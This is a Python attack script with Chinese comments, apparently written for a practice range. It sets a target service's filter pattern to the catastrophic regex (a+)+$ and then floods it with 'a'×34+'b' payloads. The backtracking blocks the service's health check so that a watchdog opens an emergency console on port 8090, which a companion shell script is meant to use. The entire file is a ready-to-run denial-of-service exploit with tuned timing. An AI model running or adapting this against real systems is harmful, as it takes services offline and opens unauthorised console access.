#!/usr/bin/env python3 """Groups 靶场: ReDoS 压制脚本 (保持 2299 阻塞, 触发 watchdog 拉起 8090). 原理: 先把服务端的过滤 pattern 设为 (a+)+$, 再持续投递 "a*34+b" (近似匹配但最终失败, 触发 Python re 灾难回溯, 单次阻塞数十秒). 服务端虽然以 threaded=True 启动, 但在 CPython 下正则属于 CPU 密集型计算且受全局解释器锁 (GIL) 约束; 靶机为单核环境, ReDoS 线程持续占满 CPU 算力, 导致健康检查 /health 无法被及时处理而超时. watchdog 连续 2 次检测失败即在 8090 端口拉起应急控制台. 注意: pattern 必须用 urlencode 提交! 直接 curl -d 'pattern=(a+)+$' 会把 + 解成空格, pattern 就设错了, 压制无效. 用法: python3 redos_keep.py # 前台运行, 看到 round 日志即正常 # 另开终端跑 shell8090.py --wait 等 8090, 全程不要停这个脚本 """ import threading import time import urllib.parse import urllib.request BASE = "http://192.168.1.192:2299" PAYLOAD = b"a" * 34 + b"b" # 关键: 34 个 a + 1 个 b (全 a 会瞬间匹配成功, 不阻塞) ROUND_SLEEP = 25 # 每轮间隔, 保证阻塞不断档 ROUNDS = 20 # 约 8 分钟, 足够 watchdog 触发 + 后续操作 def set_pattern(): data = urllib.parse.urlencode({"pattern": "(a+)+$"}).encode() req = urllib.request.Request(BASE + "/config/edit", data=data) print(urllib.request.urlopen(req, timeout=15).read(), flush=True) def fire(): try: req = urllib.request.Request( BASE + "/event", data=PAYLOAD, headers={"Content-Type": "text/plain"}, ) urllib.request.urlopen(req, timeout=120).read() except Exception as e: # 超时/连接重置都是正常的 (服务端被卡住) print(time.strftime("%H:%M:%S"), "fire end:", e, flush=True) if __name__ == "__main__": print("setting pattern ...", flush=True) try: set_pattern() except Exception as e: print("set_pattern 超时 (大概率服务端正忙, 继续压制即可):", e, flush=True) for r in range(ROUNDS): for _ in range(2): threading.Thread(target=fire, daemon=True).start() time.sleep(0.5) print(time.strftime("%H:%M:%S"), f"round {r} fired", flush=True) time.sleep(ROUND_SLEEP) print("DONE (如 8090 操作还没做完, 重新跑一遍即可)", flush=True)